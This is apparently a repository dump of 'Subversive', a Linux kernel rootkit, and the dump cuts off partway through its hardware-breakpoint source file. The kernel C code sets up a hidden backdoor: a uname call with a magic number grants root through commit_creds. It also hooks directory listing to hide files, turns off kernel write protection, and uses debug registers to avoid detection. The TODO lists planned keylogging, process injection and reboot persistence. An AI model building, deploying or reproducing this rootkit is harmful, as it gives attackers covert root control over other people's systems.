├── DOCS
├── LICENSE
├── README.md
├── TODO
├── Vagrantfile
├── include
└── subversive
│ ├── config.h
│ ├── ksyms.h
│ ├── syscalls.h
│ ├── vfs.h
│ └── x86.h
├── kernel
├── Makefile
├── init.c
├── ksyms.c
├── syscalls.c
├── vfs.c
└── x86_hw_breakpoint.c
└── tools
├── Makefile
└── subversive_ctl.c
/DOCS:
--------------------------------------------------------------------------------
1 | ### SYSCALLS ###
2 |
3 | http://lwn.net/Articles/604287/
4 | http://lwn.net/Articles/604515/
5 | http://esec-lab.sogeti.com/post/2011/07/05/Linux-syscall-ABI
6 |
--------------------------------------------------------------------------------
/LICENSE:
--------------------------------------------------------------------------------
1 | GNU GENERAL PUBLIC LICENSE
2 | Version 2, June 1991
3 |
4 | Copyright (C) 1989, 1991 Free Software Foundation, Inc.,
5 | 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
6 | Everyone is permitted to copy and distribute verbatim copies
7 | of this license document, but changing it is not allowed.
8 |
9 | Preamble
10 |
11 | The licenses for most software are designed to take away your
12 | freedom to share and change it. By contrast, the GNU General Public
13 | License is intended to guarantee your freedom to share and change free
14 | software--to make sure the software is free for all its users. This
15 | General Public License applies to most of the Free Software
16 | Foundation's software and to any other program whose authors commit to
17 | using it. (Some other Free Software Foundation software is covered by
18 | the GNU Lesser General Public License instead.) You can apply it to
19 | your programs, too.
20 |
21 | When we speak of free software, we are referring to freedom, not
22 | price. Our General Public Licenses are designed to make sure that you
23 | have the freedom to distribute copies of free software (and charge for
24 | this service if you wish), that you receive source code or can get it
25 | if you want it, that you can change the software or use pieces of it
26 | in new free programs; and that you know you can do these things.
27 |
28 | To protect your rights, we need to make restrictions that forbid
29 | anyone to deny you these rights or to ask you to surrender the rights.
30 | These restrictions translate to certain responsibilities for you if you
31 | distribute copies of the software, or if you modify it.
32 |
33 | For example, if you distribute copies of such a program, whether
34 | gratis or for a fee, you must give the recipients all the rights that
35 | you have. You must make sure that they, too, receive or can get the
36 | source code. And you must show them these terms so they know their
37 | rights.
38 |
39 | We protect your rights with two steps: (1) copyright the software, and
40 | (2) offer you this license which gives you legal permission to copy,
41 | distribute and/or modify the software.
42 |
43 | Also, for each author's protection and ours, we want to make certain
44 | that everyone understands that there is no warranty for this free
45 | software. If the software is modified by someone else and passed on, we
46 | want its recipients to know that what they have is not the original, so
47 | that any problems introduced by others will not reflect on the original
48 | authors' reputations.
49 |
50 | Finally, any free program is threatened constantly by software
51 | patents. We wish to avoid the danger that redistributors of a free
52 | program will individually obtain patent licenses, in effect making the
53 | program proprietary. To prevent this, we have made it clear that any
54 | patent must be licensed for everyone's free use or not licensed at all.
55 |
56 | The precise terms and conditions for copying, distribution and
57 | modification follow.
58 |
59 | GNU GENERAL PUBLIC LICENSE
60 | TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION
61 |
62 | 0. This License applies to any program or other work which contains
63 | a notice placed by the copyright holder saying it may be distributed
64 | under the terms of this General Public License. The "Program", below,
65 | refers to any such program or work, and a "work based on the Program"
66 | means either the Program or any derivative work under copyright law:
67 | that is to say, a work containing the Program or a portion of it,
68 | either verbatim or with modifications and/or translated into another
69 | language. (Hereinafter, translation is included without limitation in
70 | the term "modification".) Each licensee is addressed as "you".
71 |
72 | Activities other than copying, distribution and modification are not
73 | covered by this License; they are outside its scope. The act of
74 | running the Program is not restricted, and the output from the Program
75 | is covered only if its contents constitute a work based on the
76 | Program (independent of having been made by running the Program).
77 | Whether that is true depends on what the Program does.
78 |
79 | 1. You may copy and distribute verbatim copies of the Program's
80 | source code as you receive it, in any medium, provided that you
81 | conspicuously and appropriately publish on each copy an appropriate
82 | copyright notice and disclaimer of warranty; keep intact all the
83 | notices that refer to this License and to the absence of any warranty;
84 | and give any other recipients of the Program a copy of this License
85 | along with the Program.
86 |
87 | You may charge a fee for the physical act of transferring a copy, and
88 | you may at your option offer warranty protection in exchange for a fee.
89 |
90 | 2. You may modify your copy or copies of the Program or any portion
91 | of it, thus forming a work based on the Program, and copy and
92 | distribute such modifications or work under the terms of Section 1
93 | above, provided that you also meet all of these conditions:
94 |
95 | a) You must cause the modified files to carry prominent notices
96 | stating that you changed the files and the date of any change.
97 |
98 | b) You must cause any work that you distribute or publish, that in
99 | whole or in part contains or is derived from the Program or any
100 | part thereof, to be licensed as a whole at no charge to all third
101 | parties under the terms of this License.
102 |
103 | c) If the modified program normally reads commands interactively
104 | when run, you must cause it, when started running for such
105 | interactive use in the most ordinary way, to print or display an
106 | announcement including an appropriate copyright notice and a
107 | notice that there is no warranty (or else, saying that you provide
108 | a warranty) and that users may redistribute the program under
109 | these conditions, and telling the user how to view a copy of this
110 | License. (Exception: if the Program itself is interactive but
111 | does not normally print such an announcement, your work based on
112 | the Program is not required to print an announcement.)
113 |
114 | These requirements apply to the modified work as a whole. If
115 | identifiable sections of that work are not derived from the Program,
116 | and can be reasonably considered independent and separate works in
117 | themselves, then this License, and its terms, do not apply to those
118 | sections when you distribute them as separate works. But when you
119 | distribute the same sections as part of a whole which is a work based
120 | on the Program, the distribution of the whole must be on the terms of
121 | this License, whose permissions for other licensees extend to the
122 | entire whole, and thus to each and every part regardless of who wrote it.
123 |
124 | Thus, it is not the intent of this section to claim rights or contest
125 | your rights to work written entirely by you; rather, the intent is to
126 | exercise the right to control the distribution of derivative or
127 | collective works based on the Program.
128 |
129 | In addition, mere aggregation of another work not based on the Program
130 | with the Program (or with a work based on the Program) on a volume of
131 | a storage or distribution medium does not bring the other work under
132 | the scope of this License.
133 |
134 | 3. You may copy and distribute the Program (or a work based on it,
135 | under Section 2) in object code or executable form under the terms of
136 | Sections 1 and 2 above provided that you also do one of the following:
137 |
138 | a) Accompany it with the complete corresponding machine-readable
139 | source code, which must be distributed under the terms of Sections
140 | 1 and 2 above on a medium customarily used for software interchange; or,
141 |
142 | b) Accompany it with a written offer, valid for at least three
143 | years, to give any third party, for a charge no more than your
144 | cost of physically performing source distribution, a complete
145 | machine-readable copy of the corresponding source code, to be
146 | distributed under the terms of Sections 1 and 2 above on a medium
147 | customarily used for software interchange; or,
148 |
149 | c) Accompany it with the information you received as to the offer
150 | to distribute corresponding source code. (This alternative is
151 | allowed only for noncommercial distribution and only if you
152 | received the program in object code or executable form with such
153 | an offer, in accord with Subsection b above.)
154 |
155 | The source code for a work means the preferred form of the work for
156 | making modifications to it. For an executable work, complete source
157 | code means all the source code for all modules it contains, plus any
158 | associated interface definition files, plus the scripts used to
159 | control compilation and installation of the executable. However, as a
160 | special exception, the source code distributed need not include
161 | anything that is normally distributed (in either source or binary
162 | form) with the major components (compiler, kernel, and so on) of the
163 | operating system on which the executable runs, unless that component
164 | itself accompanies the executable.
165 |
166 | If distribution of executable or object code is made by offering
167 | access to copy from a designated place, then offering equivalent
168 | access to copy the source code from the same place counts as
169 | distribution of the source code, even though third parties are not
170 | compelled to copy the source along with the object code.
171 |
172 | 4. You may not copy, modify, sublicense, or distribute the Program
173 | except as expressly provided under this License. Any attempt
174 | otherwise to copy, modify, sublicense or distribute the Program is
175 | void, and will automatically terminate your rights under this License.
176 | However, parties who have received copies, or rights, from you under
177 | this License will not have their licenses terminated so long as such
178 | parties remain in full compliance.
179 |
180 | 5. You are not required to accept this License, since you have not
181 | signed it. However, nothing else grants you permission to modify or
182 | distribute the Program or its derivative works. These actions are
183 | prohibited by law if you do not accept this License. Therefore, by
184 | modifying or distributing the Program (or any work based on the
185 | Program), you indicate your acceptance of this License to do so, and
186 | all its terms and conditions for copying, distributing or modifying
187 | the Program or works based on it.
188 |
189 | 6. Each time you redistribute the Program (or any work based on the
190 | Program), the recipient automatically receives a license from the
191 | original licensor to copy, distribute or modify the Program subject to
192 | these terms and conditions. You may not impose any further
193 | restrictions on the recipients' exercise of the rights granted herein.
194 | You are not responsible for enforcing compliance by third parties to
195 | this License.
196 |
197 | 7. If, as a consequence of a court judgment or allegation of patent
198 | infringement or for any other reason (not limited to patent issues),
199 | conditions are imposed on you (whether by court order, agreement or
200 | otherwise) that contradict the conditions of this License, they do not
201 | excuse you from the conditions of this License. If you cannot
202 | distribute so as to satisfy simultaneously your obligations under this
203 | License and any other pertinent obligations, then as a consequence you
204 | may not distribute the Program at all. For example, if a patent
205 | license would not permit royalty-free redistribution of the Program by
206 | all those who receive copies directly or indirectly through you, then
207 | the only way you could satisfy both it and this License would be to
208 | refrain entirely from distribution of the Program.
209 |
210 | If any portion of this section is held invalid or unenforceable under
211 | any particular circumstance, the balance of the section is intended to
212 | apply and the section as a whole is intended to apply in other
213 | circumstances.
214 |
215 | It is not the purpose of this section to induce you to infringe any
216 | patents or other property right claims or to contest validity of any
217 | such claims; this section has the sole purpose of protecting the
218 | integrity of the free software distribution system, which is
219 | implemented by public license practices. Many people have made
220 | generous contributions to the wide range of software distributed
221 | through that system in reliance on consistent application of that
222 | system; it is up to the author/donor to decide if he or she is willing
223 | to distribute software through any other system and a licensee cannot
224 | impose that choice.
225 |
226 | This section is intended to make thoroughly clear what is believed to
227 | be a consequence of the rest of this License.
228 |
229 | 8. If the distribution and/or use of the Program is restricted in
230 | certain countries either by patents or by copyrighted interfaces, the
231 | original copyright holder who places the Program under this License
232 | may add an explicit geographical distribution limitation excluding
233 | those countries, so that distribution is permitted only in or among
234 | countries not thus excluded. In such case, this License incorporates
235 | the limitation as if written in the body of this License.
236 |
237 | 9. The Free Software Foundation may publish revised and/or new versions
238 | of the General Public License from time to time. Such new versions will
239 | be similar in spirit to the present version, but may differ in detail to
240 | address new problems or concerns.
241 |
242 | Each version is given a distinguishing version number. If the Program
243 | specifies a version number of this License which applies to it and "any
244 | later version", you have the option of following the terms and conditions
245 | either of that version or of any later version published by the Free
246 | Software Foundation. If the Program does not specify a version number of
247 | this License, you may choose any version ever published by the Free Software
248 | Foundation.
249 |
250 | 10. If you wish to incorporate parts of the Program into other free
251 | programs whose distribution conditions are different, write to the author
252 | to ask for permission. For software which is copyrighted by the Free
253 | Software Foundation, write to the Free Software Foundation; we sometimes
254 | make exceptions for this. Our decision will be guided by the two goals
255 | of preserving the free status of all derivatives of our free software and
256 | of promoting the sharing and reuse of software generally.
257 |
258 | NO WARRANTY
259 |
260 | 11. BECAUSE THE PROGRAM IS LICENSED FREE OF CHARGE, THERE IS NO WARRANTY
261 | FOR THE PROGRAM, TO THE EXTENT PERMITTED BY APPLICABLE LAW. EXCEPT WHEN
262 | OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES
263 | PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED
264 | OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF
265 | MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. THE ENTIRE RISK AS
266 | TO THE QUALITY AND PERFORMANCE OF THE PROGRAM IS WITH YOU. SHOULD THE
267 | PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING,
268 | REPAIR OR CORRECTION.
269 |
270 | 12. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING
271 | WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY AND/OR
272 | REDISTRIBUTE THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES,
273 | INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING
274 | OUT OF THE USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED
275 | TO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY
276 | YOU OR THIRD PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER
277 | PROGRAMS), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE
278 | POSSIBILITY OF SUCH DAMAGES.
279 |
280 | END OF TERMS AND CONDITIONS
281 |
282 | How to Apply These Terms to Your New Programs
283 |
284 | If you develop a new program, and you want it to be of the greatest
285 | possible use to the public, the best way to achieve this is to make it
286 | free software which everyone can redistribute and change under these terms.
287 |
288 | To do so, attach the following notices to the program. It is safest
289 | to attach them to the start of each source file to most effectively
290 | convey the exclusion of warranty; and each file should have at least
291 | the "copyright" line and a pointer to where the full notice is found.
292 |
293 | {description}
294 | Copyright (C) {year} {fullname}
295 |
296 | This program is free software; you can redistribute it and/or modify
297 | it under the terms of the GNU General Public License as published by
298 | the Free Software Foundation; either version 2 of the License, or
299 | (at your option) any later version.
300 |
301 | This program is distributed in the hope that it will be useful,
302 | but WITHOUT ANY WARRANTY; without even the implied warranty of
303 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
304 | GNU General Public License for more details.
305 |
306 | You should have received a copy of the GNU General Public License along
307 | with this program; if not, write to the Free Software Foundation, Inc.,
308 | 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
309 |
310 | Also add information on how to contact you by electronic and paper mail.
311 |
312 | If the program is interactive, make it output a short notice like this
313 | when it starts in an interactive mode:
314 |
315 | Gnomovision version 69, Copyright (C) year name of author
316 | Gnomovision comes with ABSOLUTELY NO WARRANTY; for details type `show w'.
317 | This is free software, and you are welcome to redistribute it
318 | under certain conditions; type `show c' for details.
319 |
320 | The hypothetical commands `show w' and `show c' should show the appropriate
321 | parts of the General Public License. Of course, the commands you use may
322 | be called something other than `show w' and `show c'; they could even be
323 | mouse-clicks or menu items--whatever suits your program.
324 |
325 | You should also get your employer (if you work as a programmer) or your
326 | school, if any, to sign a "copyright disclaimer" for the program, if
327 | necessary. Here is a sample; alter the names:
328 |
329 | Yoyodyne, Inc., hereby disclaims all copyright interest in the program
330 | `Gnomovision' (which makes passes at compilers) written by James Hacker.
331 |
332 | {signature of Ty Coon}, 1 April 1989
333 | Ty Coon, President of Vice
334 |
335 | This General Public License does not permit incorporating your program into
336 | proprietary programs. If your program is a subroutine library, you may
337 | consider it more useful to permit linking proprietary applications with the
338 | library. If this is what you want to do, use the GNU Lesser General
339 | Public License instead of this License.
340 |
341 |
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | # Subversive rootkit #
2 |
3 | ## INSTALL ##
4 |
5 | ### Build and load the kernel module ###
6 |
7 | ```
8 | cd kernel
9 | make ARCH=x86
10 | insmod subversive.ko
11 | ```
12 |
13 |
14 | ### Control rootkit ###
15 |
16 | ```
17 | cd tools
18 | make
19 | ./subversive_ctl -h
20 | ```
21 |
22 | ## UNINSTALL ##
23 |
24 | ```
25 | rmmod subversive
26 | ```
27 |
28 |
29 | ## REFERENCES ##
30 |
31 | - IA32 Software Developers Manual Vol. 3B, Chapter 18
32 | - Mistifying the debugger, Phrack 65, halfdead
33 | - Abuso dell Hard Hardware nell Attaco al Kernel di Linux, AntiFork
34 | Research, Pierre Falda
35 |
--------------------------------------------------------------------------------
/TODO:
--------------------------------------------------------------------------------
1 | REVIEW:
2 | * Check SMAP/SMEP compatibility
3 | * Review all system calls
4 |
5 | FEATURES:
6 | * hide file :
7 | - hide all /proc//
8 | - inotify support in subversive_ctl daemon
9 | * hook sys_open to avoid file integrity check
10 | * hide connections
11 | * .so injection
12 | * thread injection
13 | * handle reboot :
14 | - sysv
15 | - systemd
16 | - /etc/modules
17 | - vmlinuz
18 | - watch changes via nsnotify
19 | * ARM :
20 | - debug registers
21 | - inline hooking
22 | * Keylogger :
23 | - write keylogger buffer inside kernel
24 |
--------------------------------------------------------------------------------
/Vagrantfile:
--------------------------------------------------------------------------------
1 | Vagrant.configure("2") do |config|
2 | config.vm.define "ubuntu2004" do |ubuntu2004|
3 | config.vm.box = "generic/ubuntu2004"
4 | ubuntu2004.vm.provision "shell", inline: "sudo apt-get install -y build-essential"
5 | config.vm.synced_folder "./", "/home/vagrant/src", type: "rsync", rsync__exclude: ".git/"
6 | end
7 |
8 | config.vm.define "ubuntu2110" do |ubuntu2110|
9 | config.vm.box = "generic/ubuntu2110"
10 | ubuntu2110.vm.provision "shell", inline: "sudo apt-get install -y build-essential"
11 | config.vm.synced_folder "./", "/home/vagrant/src", type: "rsync", rsync__exclude: ".git/"
12 | end
13 | end
14 |
--------------------------------------------------------------------------------
/include/subversive/config.h:
--------------------------------------------------------------------------------
1 | #ifndef __CONFIG_H
2 | #define __CONFIG_H
3 |
4 | #define CONFIG_DR_PROTECT 1 /* debug register access protection */
5 | #define CONFIG_PATCH_DEBUG 0 /* 0 => use die_notifier, 1 => patch_debug */
6 |
7 | /* rootkit interface */
8 | #define MAGIC_NUMBER_GET_ROOT 0x42424242 /* TODO: should be randomized */
9 | #define MAGIC_NUMBER_DEBUG_RK 0x43434343
10 |
11 | /* VFS */
12 | #define FILE_HIDDEN_PREFIX "hidden_"
13 |
14 | #endif
15 |
--------------------------------------------------------------------------------
/include/subversive/ksyms.h:
--------------------------------------------------------------------------------
1 | #ifndef __KSYMS_H
2 | #define __KSYMS_H
3 |
4 | #include
5 | #include
6 |
7 | struct kernel_syms {
8 | /* syscalls */
9 | unsigned long sys_call_table;
10 | unsigned long do_syscall_64;
11 |
12 | /* kernel functions */
13 | void (*old_do_debug)(struct pt_regs *, long);
14 |
15 | /* kernel data */
16 | unsigned long die_chain;
17 |
18 | /* kernel API */
19 | void (*on_each_cpu)(void (*)(void *), void *, int);
20 | int (*register_die_notifier)(struct notifier_block *);
21 | int (*unregister_die_notifier)(struct notifier_block *);
22 | int (*commit_creds)(void *);
23 | void *(*prepare_kernel_cred)(void *);
24 | };
25 |
26 | extern struct kernel_syms ksyms;
27 |
28 | unsigned long get_symbol_addr(const char *name);
29 | int get_kernel_syms(void);
30 |
31 | #endif
32 |
--------------------------------------------------------------------------------
/include/subversive/syscalls.h:
--------------------------------------------------------------------------------
1 | #ifndef __HOOK_H
2 | #define __HOOK_H
3 |
4 | int hook_sys_call_table(void);
5 |
6 | #endif
7 |
--------------------------------------------------------------------------------
/include/subversive/vfs.h:
--------------------------------------------------------------------------------
1 | #ifndef __VFS_H
2 | #define __VFS_H
3 |
4 | #include
5 |
6 | typedef int (*__filldir_t)(void *, const char *, int, loff_t, u64, unsigned);
7 | struct __dir_context {
8 | __filldir_t actor;
9 | loff_t pos;
10 | };
11 |
12 | void vfs_hook(void);
13 |
14 | #endif
15 |
--------------------------------------------------------------------------------
/include/subversive/x86.h:
--------------------------------------------------------------------------------
1 | #ifndef __X86_H
2 | #define __X86_H
3 |
4 | struct idtr {
5 | unsigned short limit;
6 | unsigned long base;
7 | } __attribute__((packed));
8 |
9 | struct idt_desc {
10 | unsigned short off0_15;
11 | unsigned short sel;
12 | unsigned char none, flags;
13 | unsigned short off16_31;
14 | unsigned int off32_63;
15 | unsigned int reserved;
16 | } __attribute__((packed));
17 |
18 | static inline void sidt(struct idtr *idtr)
19 | {
20 | asm volatile("sidt %0" : "=m" (*idtr));
21 | }
22 |
23 | static inline struct idt_desc *get_idt_entry_addr(int off)
24 | {
25 | struct idtr idtr;
26 |
27 | sidt(&idtr);
28 |
29 | return (struct idt_desc *)idtr.base + off;
30 | }
31 |
32 | static inline unsigned long get_idt_handler(int off)
33 | {
34 | struct idt_desc *desc = get_idt_entry_addr(off);
35 |
36 | return desc->off0_15
37 | | ((unsigned long)desc->off16_31 << 16)
38 | | ((unsigned long)desc->off32_63 << 32);
39 | }
40 |
41 | static inline unsigned long __read_cr0(void)
42 | {
43 | unsigned long cr0;
44 | asm volatile ("mov %%cr0, %0" : "=r" (cr0));
45 | return cr0;
46 | }
47 |
48 | static inline void __write_cr0(unsigned long cr0)
49 | {
50 | asm volatile("mov %0, %%cr0" : : "r" (cr0));
51 | }
52 |
53 | static inline void cr0_wp_enable(void)
54 | {
55 | unsigned long cr0;
56 |
57 | cr0 = __read_cr0() | 0x10000;
58 | __write_cr0(cr0);
59 | asm volatile("sti");
60 | }
61 |
62 | static inline void cr0_wp_disable(void)
63 | {
64 | unsigned long cr0;
65 |
66 | asm volatile("cli");
67 | cr0 = __read_cr0() & ~0x10000;
68 | __write_cr0(cr0);
69 | }
70 |
71 | struct pt_regs;
72 | typedef void (*bp_handler)(struct pt_regs *regs);
73 |
74 | struct dr_breakpoint {
75 | unsigned long dr[4];
76 | unsigned long dr6, dr7;
77 | bp_handler handlers[4];
78 | unsigned long old_dr[4];
79 | unsigned long old_dr6, old_dr7;
80 | };
81 |
82 | enum bp_type {
83 | BP_EXEC = 0,
84 | BP_RW,
85 | };
86 |
87 | /*
88 | * DR6
89 | */
90 | #define DR6_TRAP0 (1 << 0)
91 | #define DR6_TRAP1 (1 << 1)
92 | #define DR6_TRAP2 (1 << 2)
93 | #define DR6_TRAP3 (1 << 3)
94 | #define DR6_BD (1 << 13)
95 | #define DR6_BS (1 << 14)
96 | #define DR6_BT (1 << 15)
97 | #define DR6_RESERVED 0xffff0ff0
98 |
99 |
100 | /*
101 | * DR7
102 | */
103 | #define DR7_LE (1 << 8)
104 | #define DR7_GE (1 << 9)
105 | #define DR7_GD (1 << 13)
106 |
107 | #define DR_RW_EXECUTE 0x0
108 | #define DR_RW_WRITE 0x1
109 | #define DR_RW_READ 0x3
110 |
111 | #define DR_LEN_1 0x0
112 | #define DR_LEN_2 0x1
113 | #define DR_LEN_4 0x3
114 | #define DR_LEN_8 0x2
115 |
116 | #define __set_dr(num, val) \
117 | asm volatile ("mov %0,%%db" #num : : "r" (val))
118 | #define __get_dr(num, val) \
119 | asm volatile("mov %%db" #num ",%0" : "=r" (val))
120 |
121 | struct __debugreg {
122 | unsigned char num;
123 | unsigned long val;
124 | };
125 |
126 | void x86_hw_breakpoint_debug(void);
127 | int x86_hw_breakpoint_init(void);
128 | int x86_hw_breakpoint_exit(void);
129 | int x86_hw_breakpoint_register(int dr, unsigned long addr, int type, int len, bp_handler handler);
130 | int x86_hw_breakpoint_unregister(int dr);
131 | void x86_hw_breakpoint_protect_enable(void);
132 | void x86_hw_breakpoint_protect_disable(void);
133 |
134 | #endif
135 |
--------------------------------------------------------------------------------
/kernel/Makefile:
--------------------------------------------------------------------------------
1 | obj-m += subversive.o
2 | subversive-objs := init.o ksyms.o syscalls.o vfs.o x86_hw_breakpoint.o
3 |
4 | EXTRA_CFLAGS = -std=gnu99 -I$(PWD)/../include
5 |
6 | ifeq ($(DEBUG), 1)
7 | EXTRA_CFLAGS += -DDEBUG
8 | endif
9 |
10 | all:
11 | make -C /lib/modules/$(shell uname -r)/build M=$(PWD) EXTRA_CFLAGS="$(EXTRA_CFLAGS)" modules
12 |
13 | clean:
14 | make -C /lib/modules/$(shell uname -r)/build M=$(PWD) EXTRA_CFLAGS="$(EXTRA_CFLAGS)" clean
15 |
--------------------------------------------------------------------------------
/kernel/init.c:
--------------------------------------------------------------------------------
1 | #include
2 | #include
3 |
4 | #include
5 | #include
6 | #include
7 | #include
8 | #include
9 |
10 | MODULE_LICENSE("GPL");
11 |
12 | static int __init subversive_init(void)
13 | {
14 | int ret;
15 |
16 | pr_debug("%s: init\n", __func__);
17 |
18 | /* MUST be called first */
19 | ret = get_kernel_syms();
20 | if (ret)
21 | return 0;
22 |
23 | ret = x86_hw_breakpoint_init();
24 | if (ret < 0)
25 | return 0;
26 |
27 | hook_sys_call_table();
28 | vfs_hook();
29 |
30 | if (CONFIG_DR_PROTECT)
31 | x86_hw_breakpoint_protect_enable();
32 |
33 | return 0;
34 | }
35 |
36 | static void __exit subversive_exit(void)
37 | {
38 | pr_debug("%s: exit\n", __func__);
39 |
40 | if (CONFIG_DR_PROTECT)
41 | x86_hw_breakpoint_protect_disable();
42 |
43 | x86_hw_breakpoint_exit();
44 | }
45 |
46 | module_init(subversive_init);
47 | module_exit(subversive_exit);
48 |
--------------------------------------------------------------------------------
/kernel/ksyms.c:
--------------------------------------------------------------------------------
1 | #include
2 | #include
3 | #include
4 |
5 | #include
6 |
7 | struct kernel_syms ksyms;
8 |
9 | struct ksym_lookup_struct {
10 | const char *name;
11 | unsigned long addr;
12 | };
13 |
14 | static int ksym_lookup(void *data, const char *name,
15 | struct module *module, unsigned long addr)
16 | {
17 | struct ksym_lookup_struct *kls = data;
18 |
19 | kls->addr = 0;
20 | if (!strcmp(kls->name, name)) {
21 | pr_debug("%s: %s=%lx\n", __func__, name, addr);
22 | kls->addr = addr;
23 | return 1;
24 | }
25 |
26 | return 0;
27 | }
28 |
29 | unsigned long get_symbol_addr(const char *name)
30 | {
31 | struct ksym_lookup_struct kls;
32 |
33 | kls.name = name;
34 | kallsyms_on_each_symbol(ksym_lookup, &kls);
35 |
36 | return kls.addr;
37 | }
38 |
39 | /* find die_chain */
40 | static unsigned long x86_get_die_chain_addr(void)
41 | {
42 | unsigned long die_chain = 0;
43 | unsigned char *ptr;
44 |
45 | ptr = (unsigned char *)get_symbol_addr("unregister_die_notifier");
46 | if (!ptr)
47 | goto exit;
48 |
49 | for (int i = 0; i < 32; i++) {
50 | if (ptr[i] == 0x48 && ptr[i+1] == 0xc7 && ptr[i+2] == 0xc7) {
51 | /* mov $die_chain,%rdi */
52 | die_chain = *(unsigned int *)&ptr[i+3] | ~0xffffffffUL;
53 | break;
54 | }
55 | }
56 |
57 | exit:
58 | return die_chain;
59 | }
60 |
61 |
62 |
63 | int get_kernel_syms(void)
64 | {
65 | ksyms.do_syscall_64 = get_symbol_addr("do_syscall_64");
66 | ksyms.sys_call_table = get_symbol_addr("sys_call_table");
67 |
68 | ksyms.die_chain = x86_get_die_chain_addr();
69 |
70 | /* kernel API */
71 | ksyms.on_each_cpu = (void *)get_symbol_addr("on_each_cpu");
72 | ksyms.register_die_notifier = (void *)get_symbol_addr("register_die_notifier");
73 | ksyms.unregister_die_notifier = (void *)get_symbol_addr("unregister_die_notifier");
74 | ksyms.commit_creds = (void *)get_symbol_addr("commit_creds");
75 | ksyms.prepare_kernel_cred = (void *)get_symbol_addr("prepare_kernel_cred");
76 |
77 | return 0;
78 | }
79 |
--------------------------------------------------------------------------------
/kernel/syscalls.c:
--------------------------------------------------------------------------------
1 | #include
2 | #include
3 |
4 | #include
5 | #include
6 | #include
7 |
8 | /*
9 | * rookit interface
10 | */
11 |
12 | void handle_do_syscall_64_breakpoint(struct pt_regs *regs)
13 | {
14 | struct pt_regs *do_sys_regs = (struct pt_regs *)regs->si;
15 | int nr = regs->di;
16 | long magic_number = do_sys_regs->di;
17 |
18 | if (nr == __NR_uname) {
19 | if (magic_number == MAGIC_NUMBER_GET_ROOT && ksyms.commit_creds && ksyms.prepare_kernel_cred) {
20 | pr_debug("%s: commit root creds\n", __func__);
21 | ksyms.commit_creds(ksyms.prepare_kernel_cred(NULL));
22 | } else if (magic_number == MAGIC_NUMBER_DEBUG_RK) {
23 | x86_hw_breakpoint_debug();
24 | }
25 | }
26 | }
27 |
28 | int hook_sys_call_table(void)
29 | {
30 | x86_hw_breakpoint_register(0, ksyms.do_syscall_64, DR_RW_EXECUTE, 0, handle_do_syscall_64_breakpoint);
31 |
32 | return 0;
33 | }
34 |
--------------------------------------------------------------------------------
/kernel/vfs.c:
--------------------------------------------------------------------------------
1 | #include
2 |
3 | #include
4 | #include
5 | #include
6 | #include
7 |
8 | static int is_name_hidden(const char *name)
9 | {
10 | if (!strncmp(name, FILE_HIDDEN_PREFIX, strlen(FILE_HIDDEN_PREFIX))) {
11 | pr_debug("%s: hiding %s\n", __func__, name);
12 | return 1;
13 | }
14 |
15 | return 0;
16 | }
17 |
18 | /*
19 | * for kernel versions >= 3.11
20 | */
21 | static __filldir_t old_filldir;
22 |
23 | static int new_filldir(void *__buf, const char *name, int namlen, loff_t offset,
24 | u64 ino, unsigned int d_type)
25 | {
26 | if (is_name_hidden(name)) {
27 | return 0;
28 | }
29 |
30 | return old_filldir(__buf, name, namlen, offset, ino, d_type);
31 | }
32 |
33 | static void iterate_dir_hook(struct pt_regs *regs)
34 | {
35 | struct __dir_context *ctx = (struct __dir_context *)regs->si;
36 |
37 | /*
38 | * FIXME: not safe
39 | */
40 | old_filldir = ctx->actor;
41 | ctx->actor = new_filldir;
42 | }
43 |
44 | void vfs_hook(void)
45 | {
46 | unsigned long iterate_dir_p = get_symbol_addr("iterate_dir");
47 |
48 | if (!iterate_dir_p)
49 | return;
50 |
51 | x86_hw_breakpoint_register(1, iterate_dir_p, DR_RW_EXECUTE, 0, iterate_dir_hook);
52 | }
53 |
--------------------------------------------------------------------------------
/kernel/x86_hw_breakpoint.c:
--------------------------------------------------------------------------------
1 | #include
2 | #include
3 |
4 | #include
5 | #include
6 | #include
7 |
8 | static struct dr_breakpoint bps;
9 |
10 | static void
11 | noinline get_dr(unsigned char num, unsigned long *val)
12 | {
13 | switch (num) {
14 | case 0:
15 | __get_dr(0, *val);
16 | break;
17 | case 1:
18 | __get_dr(1, *val);
19 | break;
20 | case 2:
21 | __get_dr(2, *val);
22 | break;
23 | case 3:
24 | __get_dr(3, *val);
25 | break;
26 | case 6:
27 | __get_dr(6, *val);
28 | break;
29 | case 7:
30 | __get_dr(7, *val);
31 | break;
32 | }
33 | }
34 |
35 | static void
36 | noinline set_dr(unsigned char num, unsigned long val)
37 | {
38 | switch (num) {
39 | case 0:
40 | __set_dr(0, val);
41 | break;
42 | case 1:
43 | __set_dr(1, val);
44 | break;
45 | case 2:
46 | __set_dr(2, val);
47 | break;
48 | case 3:
49 | __set_dr(3, val);
50 | break;
51 | case 6:
52 | __set_dr(6, val);
53 | break;
54 | case 7:
55 | __set_dr(7, val);
56 | break;
57 | }
58 | }
59 |
60 | static inline void __on_each_cpu_set_dr(void *data)
61 | {
62 | unsigned long *dr = data;
63 | set_dr(dr[0], dr[1]);
64 | }
65 |
66 | static inline void on_each_cpu_set_dr(unsigned char num, unsigned long val)
67 | {
